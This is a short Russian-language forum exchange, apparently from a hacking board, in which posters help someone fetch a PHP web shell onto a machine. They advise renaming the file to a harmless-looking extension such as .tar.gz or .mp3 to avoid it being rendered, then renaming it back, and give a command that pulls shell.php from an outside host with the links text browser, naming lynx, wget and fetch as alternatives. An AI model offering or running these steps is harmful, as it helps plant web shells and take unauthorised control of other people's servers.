Ну он наверное открывает этот шелл потому что это браузер, а у шелла разрешение пхп(.php) =) попробуй поменяй расширение файлика типа shell.tar.gz(такой он должен качнуть) или какой нить shell.mp3, а потом просто можно переименовать
притом, links - это никсовый текстовый браузер,поэтому он и открывает этот файл с расширением пхп, а вот какой нить wget или fetch его закачает. Потому что он написал что пытается закачать его links
links качать тоже умеет =)))
вот так: links -source "http://site.com/shell.php" > shell.php
у lynx синтаксис такойже... если не получится можно попробовать убрать кавычки..